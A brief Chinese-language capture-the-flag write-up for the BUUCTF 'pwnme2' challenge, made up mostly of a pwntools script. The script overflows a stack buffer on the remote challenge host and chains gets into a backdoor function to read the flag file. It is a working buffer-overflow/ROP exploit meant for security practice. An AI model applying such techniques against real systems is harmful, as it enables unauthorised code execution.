image.png

    exec_string里有个后门函数,我们可以读取flag文件,而且buu上的flag在根目录下,所以我们只要调用这个函数并且改变string的值就行了

    1. #coding=utf8
    2. from pwn import *
    3. from LibcSearcher import*
    4. context.log_level = 'debug'
    5. def debug():
    6. gdb.attach(io)
    7. pause()
    8. #io =process('./pwnme2')
    9. io = remote("node4.buuoj.cn",27720)
    10. elf =ELF('./pwnme2')
    11. exec_string = 0x080485CB
    12. string = 0x0804A060
    13. gets_plt = elf.sym['gets']
    14. main_addr = elf.sym['main']
    15. io.recvuntil('Please input:')
    16. #gdb.attach(io)
    17. payload = b'a'*(0x6c)+'bbbb'+p32(gets_plt)+p32(exec_string)+p32(string)
    18. io.sendline(payload)
    19. #pause()
    20. io.sendline('flag')
    21. io.interactive()